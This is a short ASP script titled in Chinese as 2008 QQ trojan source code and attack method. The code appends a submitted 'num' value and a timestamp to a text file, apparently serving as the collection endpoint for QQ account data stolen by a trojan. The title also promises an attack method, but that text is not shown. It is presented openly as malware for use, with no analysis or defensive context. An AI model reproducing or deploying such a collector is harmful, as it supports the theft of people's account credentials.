qq.asp

2008版QQ木马源代码,以及攻击的方法

<%
num=request("num")
number=number&num&"----"&date&" "&time
if num=""  then
  response.write "号码为空"
  response.end
End If
set fs=server.CreateObject("Scripting.FileSystemObject")
set file=fs.OpenTextFile(server.MapPath("qq.txt"),8,True)
file.writeline number
file.close
set file=nothing
set fs=nothing
response.write "成功保存"
%>